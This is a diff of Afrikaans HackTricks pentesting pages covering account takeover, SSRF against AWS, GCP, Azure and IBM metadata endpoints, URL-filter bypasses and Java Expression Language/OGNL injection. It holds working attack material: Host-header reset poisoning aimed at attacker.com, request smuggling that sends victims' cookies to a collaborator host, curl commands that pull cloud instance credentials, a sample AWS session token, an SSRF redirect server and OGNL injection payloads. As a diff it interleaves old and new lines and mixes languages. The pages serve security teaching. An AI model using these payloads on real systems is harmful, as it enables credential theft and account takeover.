* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Registrasie Oorname
### Dubbele Registrasie
* Probeer om 'n bestaande gebruikersnaam te genereer
* Probeer om te genereer met 'n bestaande gebruikersnaam
* Kyk na verskillende e-pos:
* hoofletters
* \+1@
@ -77,7 +64,7 @@ Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verande
* Kyk of jy **weggooie e-posse** kan gebruik
* **Lang** **wagwoord** (>200) lei tot **DoS**
* **Kyk na koerslimiete op rekening skep**
* Gebruik username@**burp\_collab**.net en analiseer die **callback**
* Gebruik username@**burp\_collab**.net en analiseer die **terugroep**
## **Wagwoord Herstel Oorname**
@ -88,13 +75,13 @@ Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verande
3. Moet nie wagwoord verander nie
4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
5. Intercepteer die versoek in Burp Suite proxy
6. Kyk of die referer kop lê wagwoord herstel token lek.
6. Kyk of die verwysingskop lek wagwoord herstel token.
### Wagwoord Herstel Vergiftiging <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Wagwoord Herstel Besmetting <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercepteer die wagwoord herstel versoek in Burp Suite
2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Stuur die versoek voort met die gewysigde kop\
3. Stuur die versoek met die gewysigde kop\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Soek na 'n wagwoord herstel URL gebaseer op die _host kop_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
@ -119,7 +106,7 @@ email=victim@mail.com|hacker@mail.com
1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan.
2. Begin die Burp Suite en onderskep die versoek.
3. Stuur dit na die herhaler tab en wysig die parameters: Gebruiker ID/e-pos\
3. Stuur dit na die herhaler-oortjie en wysig die parameters: Gebruiker ID/e-pos\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Swak Wagwoord Herstel Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -149,14 +136,14 @@ Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommig
1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord.
4. Maak verbinding met die slagoffer se rekening met die nuwe wagwoord.
Die platform CTFd was kwesbaar vir hierdie aanval.\
Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Rekening Oorname Deur Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein gescope is: `*.domain.com`
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein geskope is: `*.domain.com`
2. Lek die huidige **sessies koekie**
3. Verifieer as die gebruiker met behulp van die koekie
@ -166,7 +153,7 @@ Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Stel 'n versoek op wat die `POST / HTTP/1.1` met die volgende data sal oorskryf:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` met die doel om die slagoffers na burpcollab te herlei en hul koekies te steel\
3\. Finale versoek kan soos die volgende lyk
3\. Finale versoek kan soos volg lyk
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -189,7 +176,7 @@ Hackerone verslae wat hierdie fout benut\
### Rekening Oorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token mag gebruik word om 'n gebruiker te verifieer.
JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
* Wysig die JWT met 'n ander Gebruiker ID / E-pos
* Kontroleer vir swak JWT handtekening
@ -202,17 +189,6 @@ JSON Web Token mag gebruik word om 'n gebruiker te verifieer.
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -222,7 +198,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,26 +15,18 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## AWS
### Misbruik van SSRF in AWS EC2 omgewing
**Die metadata** eindpunt kan vanaf enige EC2 masjien toegang verkry en bied interessante inligting daaroor. Dit is toeganklik in die url: `http://169.254.169.254` ([inligting oor die metadata hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe om die eindpunt via **GET** versoeke te **benader** (so enige **SSRF kan dit misbruik**). Vir die **weergawes 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy 'n **token** aan vra deur 'n **PUT** versoek met 'n **HTTP kop** te stuur en dan daardie token gebruik om toegang tot die metadata te verkry met 'n ander HTTP kop (so dit is **meer ingewikkeld om te misbruik** met 'n SSRF).
Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe om die eindpunt via **GET** versoeke te **benader** (so enige **SSRF kan dit misbruik**). Vir die **weergave 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy 'n **token** aan vra deur 'n **PUT** versoek met 'n **HTTP kop** te stuur en dan daardie token gebruik om toegang tot die metadata te verkry met 'n ander HTTP kop (so dit is **meer ingewikkeld om te misbruik** met 'n SSRF).
{% hint style="danger" %}
Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
Boonop, **IMDSv2** sal ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
{% endhint %}
Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry:
@ -110,27 +102,27 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Let wel op die **aws\_session\_token**, dit is onontbeerlik vir die profiel om te werk.
Notice the **aws\_session\_token**, this is indispensable for the profile to work.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kan gebruik word met die ontdekte geloofsbriewe om jou voorregte uit te vind en te probeer om voorregte te eskaleer.
### SSRF in AWS ECS (Container Service) geloofsbriewe
**ECS** is 'n logiese groep van EC2 instansies waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuurinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**.
**ECS** is 'n logiese groep van EC2 instansies waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuurinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** draai te kompromitteer, sal die **metadata eindpunte verander**.
As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** binne die masjien lees.\
Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
Jy kan dit lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Let daarop dat jy in **sekere gevalle** toegang sal hê tot die **EC2 metadata instansie** vanaf die houer (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang verkry tot beide die houer IAM rol en die EC2 IAM rol.
Let daarop dat jy in **sekere gevalle** toegang sal hê tot die **EC2 metadata instansie** vanaf die houer (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer beide die houer IAM rol en die EC2 IAM rol toegang.
{% endhint %}
### SSRF vir AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
In hierdie geval word die **bewyse in omgewing veranderlikes gestoor**. So, om toegang te verkry, moet jy iets soos **`file:///proc/self/environ`** benader.
In hierdie geval is die **bewyse gestoor in omgewing veranderlikes**. So, om toegang te verkry, moet jy iets soos **`file:///proc/self/environ`** benader.
Die **name** van die **interessante omgewing veranderlikes** is:
@ -157,7 +149,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
Dan gebruik ons die akrediteer met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
Dan gebruik ons die akrediteerings met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP <a href="#id-6440" id="id-6440"></a>
@ -165,7 +157,7 @@ Jy kan [**hier die dokumentasie oor metadata eindpunte vind**](https://cloud.goo
### SSRF URL vir Google Cloud <a href="#id-6440" id="id-6440"></a>
Vereis die HTTP koptekst **`Metadata-Flavor: Google`** en jy kan toegang verkry tot die metadata eindpunt met die volgende URL's:
Vereis die HTTP koptekst **`Metadata-Flavor: Google`** en jy kan die metadata eindpunt bereik met die volgende URL's:
* http://169.254.169.254
* http://metadata.google.internal
@ -477,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal hê nie, selfs al is jy binne 'n IBM cloud VM
Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM
{% endhint %}
{% code overflow="wrap" %}
@ -506,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
Dokumentasie vir verskillende platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
## Packetcloud
@ -520,13 +512,13 @@ Die noodsaaklikheid vir 'n kop is nie genoem nie. Metadata kan verkry word deur:
## HP Helion
Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is toeganklik by:
Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is beskikbaar by:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte:
Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskillende metadata aspekte:
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
@ -564,22 +556,16 @@ Rancher se metadata kan verkry word deur:
* `curl http://rancher-metadata/<version>/<path>`
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -15,15 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Localhost
### Lokale gasheer
```bash
# Localhost
http://127.0.0.1:80
@ -174,8 +166,8 @@ Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasi
### Bypass via redirect
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **redirect**-antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
Dit mag moontlik wees dat die bediener **die oorspronklike versoek filter** van 'n SSRF **maar nie** 'n moontlike **redirect** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** filter. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -197,11 +189,11 @@ self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Verklaarde Triks
## Verduidelik Tricks
### Backslash-trik
### Blackslash-trick
Die _backslash-trik_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuif (`/`), wat die manier beïnvloed waarop URL's geparseer word, spesifiek die oorgang van die hostname na die pad in 'n URL merk.
Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuif (`/`), wat die manier waarop URL's geparseer word, beïnvloed, spesifiek die oorgang van die hostname na die pad in 'n URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -216,11 +208,6 @@ beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Probeer Hard Veiligheidsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -232,7 +219,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingtriks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking tricks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,21 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Bsic Info
## Basiese Inligting
Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
@ -42,13 +28,13 @@ Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanb
* **Spring Framework**: Toegepas in verskeie modules soos Sekuriteit en Data.
* **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.
EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter weergawe-afhanklik wat betref sy kenmerke en die gebruik van sekere karakters.
EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter belangrik om te noem dat sy kenmerke en die gebruik van sekere karakters weergawe-afhanklik kan wees.
{% hint style="info" %}
Afhangende van die **EL weergawe** mag sommige **kenmerke** **Aan** of **Af** wees en gewoonlik mag sommige **karakters** **verbode** wees.
{% endhint %}
## Basic Example
## Basiese Voorbeeld
(Jy kan 'n ander interessante tutoriaal oor EL vind in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
@ -135,7 +121,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Slap 10 sekondes
* Sluit 10 sekondes
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
@ -226,7 +212,7 @@ ${sessionScope.toString()}
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Die aansoek kan ook pasgemaakte veranderlikes gebruik soos:
Die toepassing kan ook pasgemaakte veranderlikes gebruik soos:
```bash
${user}
${password}
@ -243,21 +229,9 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
